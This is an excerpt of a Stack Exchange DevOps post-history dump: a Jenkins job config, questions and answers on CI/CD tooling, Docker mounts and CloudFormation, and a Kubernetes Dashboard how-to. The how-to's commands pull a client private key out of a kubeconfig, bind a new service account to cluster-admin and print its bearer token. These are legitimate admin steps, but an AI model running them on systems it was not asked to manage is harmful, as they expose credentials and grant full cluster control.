&lt;/org.jenkinsci.plugins.ghprb.extensions.comments.GhprbBuildResultMessage&gt;&#xD;&#xA;              &lt;/completedStatus&gt;&#xD;&#xA;            &lt;/org.jenkinsci.plugins.ghprb.extensions.status.GhprbSimpleStatus&gt;&#xD;&#xA;          &lt;/extensions&gt;&#xD;&#xA;        &lt;/org.jenkinsci.plugins.ghprb.GhprbTrigger&gt;&#xD;&#xA;      &lt;/triggers&gt;&#xD;&#xA;      &lt;builders&gt;&#xD;&#xA;        &lt;com.tikal.jenkins.plugins.multijob.MultiJobBuilder&gt;&#xD;&#xA;          &lt;phaseName&gt;JIRA ID Validation&lt;/phaseName&gt;&#xD;&#xA;          &lt;continuationCondition&gt;SUCCESSFUL&lt;/continuationCondition&gt;&#xD;&#xA;          &lt;executionType&gt;PARALLEL&lt;/executionType&gt;&#xD;&#xA;          &lt;phaseJobs&gt;&#xD;&#xA;            &lt;com.tikal.jenkins.plugins.multijob.PhaseJobsConfig&gt;&#xD;&#xA;              &lt;jobName&gt;cicd-myproject-prtest-jiraid&lt;/jobName&gt;&#xD;&#xA;              &lt;currParams&gt;true&lt;/currParams&gt;&#xD;&#xA;              &lt;configs/&gt;&#xD;&#xA;              &lt;abortAllJob&gt;false&lt;/abortAllJob&gt;&#xD;&#xA;              &lt;enableRetryStrategy&gt;false&lt;/enableRetryStrategy&gt;&#xD;&#xA;            &lt;/com.tikal.jenkins.plugins.multijob.PhaseJobsConfig&gt;&#xD;&#xA;          &lt;/phaseJobs&gt;&#xD;&#xA;        &lt;/com.tikal.jenkins.plugins.multijob.MultiJobBuilder&gt;&#xD;&#xA;        &lt;com.tikal.jenkins.plugins.multijob.MultiJobBuilder&gt;&#xD;&#xA;          &lt;phaseName&gt;Tox Validation&lt;/phaseName&gt;&#xD;&#xA;          &lt;continuationCondition&gt;SUCCESSFUL&lt;/continuationCondition&gt;&#xD;&#xA;          &lt;executionType&gt;PARALLEL&lt;/executionType&gt;&#xD;&#xA;          &lt;phaseJobs&gt;&#xD;&#xA;            &lt;com.tikal.jenkins.plugins.multijob.PhaseJobsConfig&gt;&#xD;&#xA;              &lt;jobName&gt;cicd-myproject-prtest-unittest&lt;/jobName&gt;&#xD;&#xA;              &lt;currParams&gt;true&lt;/currParams&gt;&#xD;&#xA;              &lt;configs/&gt;&#xD;&#xA;              &lt;abortAllJob&gt;false&lt;/abortAllJob&gt;&#xD;&#xA;              &lt;enableRetryStrategy&gt;false&lt;/enableRetryStrategy&gt;&#xD;&#xA;            &lt;/com.tikal.jenkins.plugins.multijob.PhaseJobsConfig&gt;&#xD;&#xA;          &lt;/phaseJobs&gt;&#xD;&#xA;        &lt;/com.tikal.jenkins.plugins.multijob.MultiJobBuilder&gt;&#xD;&#xA;        &lt;hudson.tasks.Shell&gt;&#xD;&#xA;          &lt;command&gt;#!/bin/bash&#xD;&#xA;    echo &quot;MY_ISSUE_ID=`echo ${ghprbPullLongDescription} | grep -e 'MY-[0-9]\+' -o`&quot; &amp;gt; MY_issue.property&#xD;&#xA;    &lt;/command&gt;&#xD;&#xA;        &lt;/hudson.tasks.Shell&gt;&#xD;&#xA;        &lt;EnvInjectBuilder&gt;&#xD;&#xA;          &lt;info&gt;&#xD;&#xA;            &lt;propertiesFilePath&gt;$WORKSPACE/MY_issue.property&lt;/propertiesFilePath&gt;&#xD;&#xA;          &lt;/info&gt;&#xD;&#xA;        &lt;/EnvInjectBuilder&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdateBuilder plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;jqlSearch&gt;issue=${MY_ISSUE_ID}&lt;/jqlSearch&gt;&#xD;&#xA;          &lt;workflowActionName&gt;Ready for Review&lt;/workflowActionName&gt;&#xD;&#xA;          &lt;comment&gt;[Unit Testing|${BUILD_URL}] Done&lt;/comment&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdateBuilder&gt;&#xD;&#xA;        &lt;hudson.tasks.Shell&gt;&#xD;&#xA;          &lt;command&gt;#!/bin/bash&#xD;&#xA;    curl -X POST --data-urlencode 'payload={&quot;text&quot;: &quot;'&quot;${ghprbPullLink}&quot;' is ready for review&quot;}' &lt;slackurl&gt;&#xD;&#xA;    &lt;/command&gt;&#xD;&#xA;        &lt;/hudson.tasks.Shell&gt;&#xD;&#xA;      &lt;/builders&gt;&#xD;&#xA;      &lt;publishers&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdater plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;issueSelector class=&quot;hudson.plugins.jira.selector.JqlIssueSelector&quot;&gt;&#xD;&#xA;            &lt;jql&gt;issue=${MY_ISSUE_ID}&lt;/jql&gt;&#xD;&#xA;          &lt;/issueSelector&gt;&#xD;&#xA;          &lt;labels/&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdater&gt;&#xD;&#xA;      &lt;/publishers&gt;&#xD;&#xA;      &lt;buildWrappers&gt;&#xD;&#xA;        &lt;hudson.plugins.ansicolor.AnsiColorBuildWrapper&gt;&#xD;&#xA;          &lt;colorMapName&gt;xterm&lt;/colorMapName&gt;&#xD;&#xA;        &lt;/hudson.plugins.ansicolor.AnsiColorBuildWrapper&gt;&#xD;&#xA;      &lt;/buildWrappers&gt;&#xD;&#xA;    &lt;/com.tikal.jenkins.plugins.multijob.MultiJobProject&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16182" PostHistoryTypeId="5" PostId="2739" RevisionGUID="d78ba859-6e8e-4dd4-b07d-db27cc900805" CreationDate="2018-10-05T14:18:53.690" UserId="739" Comment="clearer title, more tags, and spelling tweak" Text="I have the following challenge to streamline and setup a development process.&#xD;&#xA;&#xD;&#xA;The program runs simultaneously, and each one has its own timeline for release, as follows:&#xD;&#xA;&#xD;&#xA; - Program 1&#xD;&#xA; - Program 2 &#xD;&#xA; - Program 3 &#xD;&#xA; - Program 4 &#xD;&#xA; - Program 5 &#xD;&#xA;&#xD;&#xA;Under each of the programmes, there are multiple projects running in parallel. Each project has a different technology, like Web layer `(.NET)`, middle-ware `(Mulesoft)` or database `(Oracle)`. &#xD;&#xA;&#xD;&#xA;The challenge is that I have to find a configuration management tool, which considers branching, automated build process, deployment and integration tracking with JIRA. &#xD;&#xA;&#xD;&#xA;Can some one suggest the best tool to seamlessly integrate and orchestrate automated build and deployments?&#xD;&#xA;&#xD;&#xA;Technologies involved are:&#xD;&#xA;&#xD;&#xA;- Oracle (Basically SQL scripts) &#xD;&#xA;- Middleware (Mulesoft - maven script) &#xD;&#xA;- .NET web layer (UI part) &#xD;&#xA;&#xD;&#xA;Key points to be considered is the build and deployment process should be technology agnostic, as I have an environment with `java`, `.NET` and `oracle world`. &#xD;&#xA;&#xD;&#xA;I am thinking of ( Github - Bitbucket/Bitbucket pipeline) actually but any suggestion would be highly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16183" PostHistoryTypeId="4" PostId="2739" RevisionGUID="d78ba859-6e8e-4dd4-b07d-db27cc900805" CreationDate="2018-10-05T14:18:53.690" UserId="739" Comment="clearer title, more tags, and spelling tweak" Text="Build / Deployment process for .Net/Mulesoft/Oracle stack" ContentLicense="CC BY-SA 4.0" />
  <row Id="16184" PostHistoryTypeId="6" PostId="2739" RevisionGUID="d78ba859-6e8e-4dd4-b07d-db27cc900805" CreationDate="2018-10-05T14:18:53.690" UserId="739" Comment="clearer title, more tags, and spelling tweak" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;java&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16185" PostHistoryTypeId="24" PostId="2739" RevisionGUID="d78ba859-6e8e-4dd4-b07d-db27cc900805" CreationDate="2018-10-05T14:18:53.690" Comment="Proposed by 739 approved by 40, 228 edit id of 802" ContentLicense="CC BY-SA 4.0" />
  <row Id="16186" PostHistoryTypeId="5" PostId="5102" RevisionGUID="4f8e0dfd-bdd7-4fd1-9a61-6b9d0a32fd49" CreationDate="2018-10-05T18:27:38.023" UserId="9495" Comment="deleted 1 character in body" Text="Well, the first step is to use a backend which supports HA. Consul, for example, supports HA. If you are not an enterprise customer, you may have to run a shell script via cron to upload consul snapshots to s3 or where ever you want to store them. Later, you can restore all your secrets. And obviously, the snapshots are encrypted. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16187" PostHistoryTypeId="2" PostId="5124" RevisionGUID="85ece460-8730-4e21-915c-ec37d2012cef" CreationDate="2018-10-05T19:00:30.590" UserId="5288" Text="Tools like ansible seem to have a clear advantage over competition like chef and puppet which require setting up agents on end points.&#xA;&#xA;Puppet has been around longer than ansible and has a larger community and more available modules. &#xA;&#xA;But are there any advantages to the master/agent setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16188" PostHistoryTypeId="1" PostId="5124" RevisionGUID="85ece460-8730-4e21-915c-ec37d2012cef" CreationDate="2018-10-05T19:00:30.590" UserId="5288" Text="What are some clear benefits of running master/agent configuration management?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16189" PostHistoryTypeId="3" PostId="5124" RevisionGUID="85ece460-8730-4e21-915c-ec37d2012cef" CreationDate="2018-10-05T19:00:30.590" UserId="5288" Text="&lt;ansible&gt;&lt;configuration-management&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16190" PostHistoryTypeId="5" PostId="5124" RevisionGUID="d4237102-e09e-4f34-92c7-9a6ff1ab5f2f" CreationDate="2018-10-05T20:26:35.767" UserId="5288" Comment="added 194 characters in body" Text="Ansible seems to have a clear advantage over competition like chef and puppet because it is agent-less and saves a certain degree of overhead.&#xA;&#xA;I have read several comparisons of the various configuration tools and while each tool has its own strengths and weaknesses, I realize that much of it is down to personal preference.&#xA;&#xA;The benefit of being agent-less is a no-brainer but are there any advantages of the master/agent architecture with respect to configuration management tools?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16191" PostHistoryTypeId="2" PostId="5125" RevisionGUID="f305bc76-64d4-48d3-91a8-4948d2d764be" CreationDate="2018-10-05T22:53:01.820" UserId="10198" Text="When we started to use Kubernetes at my current job we just re-applied the deployment manifest, updating the DATE on a annotation, this worked fine for some time, then we switched to use HELM [https://helm.sh/][1]&#xD;&#xA;&#xD;&#xA;My recommendation is to switch to Helm since it manages deployments in a better way, even config maps are versioned between releases and also you can roll-back as you want.&#xD;&#xA;&#xD;&#xA;Makes life easier when integration with CI/CD pipeline cause everything is parameterized/configurable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16193" PostHistoryTypeId="5" PostId="5108" RevisionGUID="8a42d0ec-7558-4489-bc1a-94b1a1aa7dfc" CreationDate="2018-10-06T06:53:01.310" UserId="10166" Comment="added 375 characters in body" Text="I'm working with a company setting up a brand new project, and we're talking about what tools to use for what. I was talking about Artifactory or Nexus for storing built artifacts (APKs in this case), and they asked why they can't just use Bitbucket like they will use for the software, to reduce the number of tools they need to install and maintain.&#xD;&#xA;&#xD;&#xA;My initial response was &quot;Source goes in source repo and artifacts go in artifact repo&quot;, but that's not actually an answer why or why not.  In fact Googling around didn't offer any reasoning either.&#xD;&#xA;&#xD;&#xA;ADDING TO THIS: This product is for a regulated industry.  That means we need a complete versioned, auditable record of the artifacts built.  This is one of the reasons we're looking into this.  Also, as I said in some comments but will add here, we will install Bitbucket in a private GCP not accessible by the public, so there are no concerns about others accessing it.&#xD;&#xA;&#xD;&#xA;Any input into this? Anything that would bite us later on if we store them in Bitbucket?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16194" PostHistoryTypeId="2" PostId="5126" RevisionGUID="cd055f96-e5d0-4e4b-be4c-cce29e770c04" CreationDate="2018-10-06T10:50:59.213" UserId="10201" Text="I have dockerized an application which accesses a folder &quot;Folder1&quot; inside the container. The folder is owned by a user &quot;user1&quot;. When I bring the container up, I need to mount this folder over my host machine. Upon doing so, the ownership of &quot;Folder1&quot; inside the container changes to root as the corresponding mapped folder is under root's ownership on the host machine.&#xD;&#xA;&#xD;&#xA;This change of ownership makes the folder inaccessible to my application inside the container. Any idea how do I fix this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16195" PostHistoryTypeId="1" PostId="5126" RevisionGUID="cd055f96-e5d0-4e4b-be4c-cce29e770c04" CreationDate="2018-10-06T10:50:59.213" UserId="10201" Text="Preserving ownership of a folder after mounting it" ContentLicense="CC BY-SA 4.0" />
  <row Id="16196" PostHistoryTypeId="3" PostId="5126" RevisionGUID="cd055f96-e5d0-4e4b-be4c-cce29e770c04" CreationDate="2018-10-06T10:50:59.213" UserId="10201" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16197" PostHistoryTypeId="2" PostId="5127" RevisionGUID="9b2c5c7a-54d8-4926-bb33-b81ba58fe09b" CreationDate="2018-10-06T12:51:19.793" UserId="7772" Text="Why can't I just state in the cloudformation template which dependencies I need? Right now I need to add the dependencies automatically in an accompanying script during our gitlab pipeline. It would seem more convenient to do like Google Appengine, and state the dependencies at the top-level template. Here's an example adding dependencies from my google appengine app.yaml, just stating what I need and it seems AWS doesn't have something similar:&#xD;&#xA;&#xD;&#xA;    libraries:&#xD;&#xA;    - name: webapp2&#xD;&#xA;      version: latest&#xD;&#xA;    - name: jinja2&#xD;&#xA;      version: latest&#xD;&#xA;    - name: setuptools&#xD;&#xA;      version: latest&#xD;&#xA;    - name: markupsafe&#xD;&#xA;      version: latest&#xD;&#xA;    - name: django&#xD;&#xA;      version: latest&#xD;&#xA;    - name: PIL&#xD;&#xA;      version: latest&#xD;&#xA;    - name: webob&#xD;&#xA;      version: latest&#xD;&#xA;    - name: lxml&#xD;&#xA;      version: latest&#xD;&#xA;    - name: ssl&#xD;&#xA;      version: latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16198" PostHistoryTypeId="1" PostId="5127" RevisionGUID="9b2c5c7a-54d8-4926-bb33-b81ba58fe09b" CreationDate="2018-10-06T12:51:19.793" UserId="7772" Text="Where to state CFT dependecies" ContentLicense="CC BY-SA 4.0" />
  <row Id="16199" PostHistoryTypeId="3" PostId="5127" RevisionGUID="9b2c5c7a-54d8-4926-bb33-b81ba58fe09b" CreationDate="2018-10-06T12:51:19.793" UserId="7772" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16200" PostHistoryTypeId="4" PostId="5127" RevisionGUID="ce3ab3f7-57cf-4e9a-8fc9-b6be8e429829" CreationDate="2018-10-06T12:58:33.987" UserId="7772" Comment="edited title" Text="Where to state CFT dependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="16201" PostHistoryTypeId="5" PostId="5127" RevisionGUID="ce3ab3f7-57cf-4e9a-8fc9-b6be8e429829" CreationDate="2018-10-06T12:58:33.987" UserId="7772" Comment="edited title" Text="With [AWS][1], why can't I just state in the cloudformation template which dependencies I need? Right now I need to add the dependencies automatically in an accompanying script during our gitlab pipeline. It would seem more convenient to do like Google Appengine, and state the dependencies at the top-level template. Here's an example adding dependencies from my google appengine app.yaml, just stating what I need and it seems AWS doesn't have something similar:&#xD;&#xA;&#xD;&#xA;    libraries:&#xD;&#xA;    - name: webapp2&#xD;&#xA;      version: latest&#xD;&#xA;    - name: jinja2&#xD;&#xA;      version: latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/lambda/latest/dg/lambda-python-how-to-create-deployment-package.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16202" PostHistoryTypeId="5" PostId="5127" RevisionGUID="0fd6b9d7-879f-404a-9819-14457fa89205" CreationDate="2018-10-06T13:46:23.360" UserId="7772" Comment="edited body" Text="With [AWS][1], why can't I just state in the cloudformation template which dependencies I need? Right now I need to add the dependencies automatically in an accompanying script during our gitlab pipeline. It would seem more convenient to do like Google Appengine, and state the dependencies in the top-level template. Here's an example adding dependencies from my google appengine app.yaml, just stating what I need and it seems AWS doesn't have something similar:&#xD;&#xA;&#xD;&#xA;    libraries:&#xD;&#xA;    - name: webapp2&#xD;&#xA;      version: latest&#xD;&#xA;    - name: jinja2&#xD;&#xA;      version: latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/lambda/latest/dg/lambda-python-how-to-create-deployment-package.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16203" PostHistoryTypeId="2" PostId="5128" RevisionGUID="f15a9760-5da9-4b84-8e9f-62f6eda09dba" CreationDate="2018-10-06T14:46:50.753" UserId="47" Text="At least in the *nix world the ownership (i.e. uid and gid) of a file/folder on a mounted filesystem doesn't change, it is the actual ownership from the host exporting that filesystem (if ownership is supported by that filesystem). &#xD;&#xA;&#xD;&#xA;Note that if the container has different user/group names matching the uid/gid of the file/folder they will appear under the container's names in `ls -l`, not as the host's names (or as numbers if no container names match the respective IDs).&#xD;&#xA;&#xD;&#xA;So if on the host machine the folder is owned by root, it will also be owned by root in the container (in other words it's nothing &quot;special&quot; about it being owned by root vs other users). The only way to allow the container app to write to the filesystem is to  change the ownership accordingly on the host system (or give it `other` write permissions).&#xD;&#xA;&#xD;&#xA;Maybe worth noting that if the host's filesystem itself doesn't support ownership, it can still be &quot;faked&quot; inside the container using the uid and gid mount options (in the *nix world). See [Ownership of a mount point][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://unix.stackexchange.com/q/181260/117333" ContentLicense="CC BY-SA 4.0" />
  <row Id="16204" PostHistoryTypeId="2" PostId="5129" RevisionGUID="0990370a-f2ca-4521-93f8-3c62d8ca574c" CreationDate="2018-10-06T15:43:04.223" UserId="47" Text="This is a matter of implementation details and it's actually coming from the AWS Lambda product's implementation (which the doc you linked refers to), not from the Cloud Formation itself. &#xD;&#xA;&#xD;&#xA;Presently the AWS Lambda implementation *requires* you to include the actual dependent packages in the deployment package (per the doc you referenced). Hence the CFT doesn't really need a way to specify such dependencies - it'd be useless as it can't be passed to Lambda.&#xD;&#xA;&#xD;&#xA;Should Lambda infra end up supporting a way to just list the dependent packages, Cloud Formation *might* be enhanced to support specifying the list right in the template and passing it somehow to Lambda. But this is just speculation, it all depends on the AWS feature roadmap :)&#xD;&#xA;&#xD;&#xA;Side note: the Google App Engine (GAE) example could be seen as a bit questionable as it's specific for just a small subset of that product's capabilities (applicable only to the GAE-supplied libraries for the python 2.7 standard environment). Maybe a better reference would be to the `requirements.txt` or `package.json` (or other language-specific) files used to specify external/third party package dependencies for GAE environments, as well as other Google Cloud Platform (GCP) products, including [Cloud Functions (CFs)][1] (which would be the GCP product closest matching AWS Lambda). See `Specifying dependencies` for CFs in [Python][2], [NodeJS 6][4] and [NodeJS 8][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/functions/docs/concepts/overview&#xD;&#xA;  [2]: https://cloud.google.com/functions/docs/concepts/python-runtime#specifying_dependencies&#xD;&#xA;  [3]: https://cloud.google.com/functions/docs/concepts/nodejs-8-runtime#specifying_dependencies&#xD;&#xA;  [4]: https://cloud.google.com/functions/docs/concepts/nodejs-6-runtime#specifying_dependencies" ContentLicense="CC BY-SA 4.0" />
  <row Id="16205" PostHistoryTypeId="2" PostId="5130" RevisionGUID="a4c692ea-f47f-4462-8692-b67d0c8bd623" CreationDate="2018-10-06T16:30:46.450" UserId="47" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;**Platform as a Service (PaaS)** or **Application Platform as a Service (aPaaS)** or platform base service is a category of cloud computing services that provides a [platform][2] allowing customers to develop, run, and manage applications without the complexity of building and maintaining the infrastructure typically associated with developing and launching an app.&#xD;&#xA;&#xD;&#xA;Platform as a Service solution:&#xD;&#xA;&#xD;&#xA;- [Google App Engine][3]&#xD;&#xA;- [Microsoft Azure Apps Service][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Platform_as_a_service&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Computing_platform&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/app-service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16206" PostHistoryTypeId="1" PostId="5130" RevisionGUID="a4c692ea-f47f-4462-8692-b67d0c8bd623" CreationDate="2018-10-06T16:30:46.450" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="16207" PostHistoryTypeId="2" PostId="5131" RevisionGUID="56568194-5b4c-4e36-bebe-9205882acbb3" CreationDate="2018-10-06T16:30:46.450" UserId="47" Text="For questions about Platform as a Service computing (also known as PaaS). Use this tag for questions about terminology, practices and problems related to PaaS. Consider also using the specific provider tags, if available.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16208" PostHistoryTypeId="1" PostId="5131" RevisionGUID="56568194-5b4c-4e36-bebe-9205882acbb3" CreationDate="2018-10-06T16:30:46.450" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="16209" PostHistoryTypeId="2" PostId="5132" RevisionGUID="4c5f71a0-7fc1-490f-9a44-cdd0ba5c60d7" CreationDate="2018-10-06T16:34:49.313" UserId="47" Text="IMHO an absolute benchmark can be rather useless/misleading, I'd always consider the specific context of the application intended to be executed on the platforms being benchmarked and its performance requirements and use only benchmarks relevant to that application context.&#xD;&#xA;&#xD;&#xA;A few examples:&#xD;&#xA;&#xD;&#xA;- if the application doesn't make a lot of use of the CPU and/or its memory, comparing the number of cores and/or the amount of RAM or benchmarking CPU/RAM use would not be very relevant&#xD;&#xA;&#xD;&#xA;- if the application accesses data on [AWS S3][1] using an AWS platform may provide better performance than using an on-premises bare metal or VMware platform even if the AWS platform's absolute I/O performance is below that of the on-premise platform&#xD;&#xA;&#xD;&#xA;Side note: by always starting with the application context in mind potentially more performant solutions other than bare metal/VM/Infrastructure as a Service (IaaS) can be selected, for example [Platform as a Service (PaaS)][2] or [serverless/Function as a Service (FaaS)][3] solutions. It all depends on the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/s3&#xD;&#xA;  [2]: https://devops.stackexchange.com/tags/platform-as-a-service/info&#xD;&#xA;  [3]: https://devops.stackexchange.com/tags/serverless/info" ContentLicense="CC BY-SA 4.0" />
  <row Id="16210" PostHistoryTypeId="5" PostId="5130" RevisionGUID="32b569d1-269a-48e8-b197-1a37705e0e15" CreationDate="2018-10-06T16:36:11.413" UserId="47" Comment="added 14 characters in body; added 1 character in body; added 79 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; **Platform as a Service (PaaS)** or **Application Platform as a Service (aPaaS)** or platform base service is a category of cloud&#xD;&#xA;&gt; computing services that provides a [platform][2] allowing customers to&#xD;&#xA;&gt; develop, run, and manage applications without the complexity of&#xD;&#xA;&gt; building and maintaining the infrastructure typically associated with&#xD;&#xA;&gt; developing and launching an app.&#xD;&#xA;&#xD;&#xA;Platform as a Service solutions:&#xD;&#xA;&#xD;&#xA;- [Google App Engine][3]&#xD;&#xA;- [Microsoft Azure Apps Service][4]&#xD;&#xA;- [AWS Elastic Beanstalk][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Platform_as_a_service&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Computing_platform&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/app-service/&#xD;&#xA;  [5]: https://aws.amazon.com/elasticbeanstalk/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16211" PostHistoryTypeId="5" PostId="169" RevisionGUID="bd731a66-ff19-4cd2-be4a-fc3b573fb234" CreationDate="2018-10-06T16:44:26.723" UserId="47" Comment="edited body" Text="Questions about Chef on Devops should be about methods using Chef.&#xD;&#xA;&#xD;&#xA;For assistance on recipe code not working, please post on [Stack Overflow](http://stackoverflow.com/questions/tagged/chef) under [tag:chef] tag. Don't forget to include a Minimal verifiable example and your error log.&#xD;&#xA;&#xD;&#xA;Before asking, take the tutorials on https://learn.chef.io, all basis are explained.&#xD;&#xA;&#xD;&#xA;For open ended/opinion question prefer other medium like:&#xD;&#xA;&#xD;&#xA; - Chef's Mailing list/forum https://discourse.chef.io/ &#xD;&#xA; - Slack http://community-slack.chef.io/ " ContentLicense="CC BY-SA 4.0" />
  <row Id="16213" PostHistoryTypeId="50" PostId="2481" RevisionGUID="05369e6f-3641-4a22-ba9a-c25093d38d73" CreationDate="2018-10-07T06:00:21.447" UserId="-1" />
  <row Id="16217" PostHistoryTypeId="2" PostId="5133" RevisionGUID="b7d67d42-1847-4417-81ba-cc443ecf893f" CreationDate="2018-10-07T08:49:14.377" UserId="5288" Text="I've found an interesting discussion on the topic [configuration management pull vs push topology][1]&#xD;&#xA;&#xD;&#xA;[One contributor][2] writes that pull systems (master/agent) offer more flexibility and are easier to scale. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/questions/568187/configuration-management-push-versus-pull-based-topology&#xD;&#xA;  [2]: https://serverfault.com/a/568372/392485" ContentLicense="CC BY-SA 4.0" />
  <row Id="16218" PostHistoryTypeId="2" PostId="5134" RevisionGUID="3d205546-6146-450e-9385-a7349b98ccc3" CreationDate="2018-10-07T10:08:25.247" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16219" PostHistoryTypeId="1" PostId="5134" RevisionGUID="3d205546-6146-450e-9385-a7349b98ccc3" CreationDate="2018-10-07T10:08:25.247" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16220" PostHistoryTypeId="2" PostId="5135" RevisionGUID="fdaf2912-b8c5-414f-b4ad-a99e9b7fcb2d" CreationDate="2018-10-07T10:08:25.247" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16221" PostHistoryTypeId="1" PostId="5135" RevisionGUID="fdaf2912-b8c5-414f-b4ad-a99e9b7fcb2d" CreationDate="2018-10-07T10:08:25.247" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16222" PostHistoryTypeId="2" PostId="5136" RevisionGUID="61b1b6b8-2d96-4018-bec9-143795ffe13d" CreationDate="2018-10-07T11:19:15.857" UserId="10216" Text="how we can extract the certificates from the kubeconfig file:&#xD;&#xA;&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA; 1. Locate your kubeconfig or config file which you use to run kubectl commands. If you have used my Vagrant file above, you can find it on /etc/kubernetes/admin.conf&#xD;&#xA; 2. You need to export a single file (.p12) with the following two certificates: the client-certificate-data, and the client-key-data. My example runs the command on /home/vagrant. If you run this command on macOS, be sure to change the base64 -d to base64 -D&#xD;&#xA;&#xD;&#xA;    	$ grep 'client-certificate-data' ~/.kube/config | head -n 1 | awk '{print $2}' | base64 -d &gt;&gt; kubecfg.crt&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA;		$ grep 'client-key-data' ~/.kube/config | head -n 1 | awk '{print $2}' | base64 -d &gt;&gt; kubecfg.key&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA;		$ openssl pkcs12 -export -clcerts -inkey kubecfg.key -in kubecfg.crt -out kubecfg.p12&#xD;&#xA;&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA; 3. Import the kubecfg.p12 certificate, reopen your browser, and visit the Kubernetes Dashboard URL. Accept any warning and you should see the authentication page. You can skip the login and check you are not able to perform any task.&#xD;&#xA;&#xD;&#xA;		&#xD;&#xA;&#xD;&#xA; 4. The following steps have been copied from the Kubernetes Dashboard wiki page (Creating-sample-user)&#xD;&#xA;&#xD;&#xA;	     	1- Create service account&#xD;&#xA;&#xD;&#xA;			    cat &lt;&lt;EOF | kubectl create -f -&#xD;&#xA;			    apiVersion: v1&#xD;&#xA;			    kind: ServiceAccount&#xD;&#xA;			    metadata:&#xD;&#xA;			      name: admin-user&#xD;&#xA;			      namespace: kube-system&#xD;&#xA;			    EOF&#xD;&#xA;		    	&gt;&gt;&#xD;&#xA;&#xD;&#xA;	    	2- Create ClusterRoleBinding&#xD;&#xA;&#xD;&#xA;			    cat &lt;&lt;EOF | kubectl create -f -&#xD;&#xA;			    apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;			    kind: ClusterRoleBinding&#xD;&#xA;			    metadata:&#xD;&#xA;			      name: admin-user&#xD;&#xA;			    roleRef:&#xD;&#xA;			      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;			      kind: ClusterRole&#xD;&#xA;			      name: cluster-admin&#xD;&#xA;			    subjects:&#xD;&#xA;			    - kind: ServiceAccount&#xD;&#xA;			      name: admin-user&#xD;&#xA;			      namespace: kube-system&#xD;&#xA;			    EOF&#xD;&#xA;			    &gt;&gt;&#xD;&#xA;&#xD;&#xA;	    	3- Get the Bearer Token. Once you run the following command, copy the token value which you will use on the following step.&#xD;&#xA;&#xD;&#xA;	    		$ kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}')&#xD;&#xA;	    &#xD;&#xA;&#xD;&#xA;	   		4- Come back to your browser and choose token on the login page. You will need to paste the token value you have copied on the previous step.&#xD;&#xA;	   	5- Click “SIGN IN” and you should be able to see your Kubernetes Dashboard fully operational." ContentLicense="CC BY-SA 4.0" />
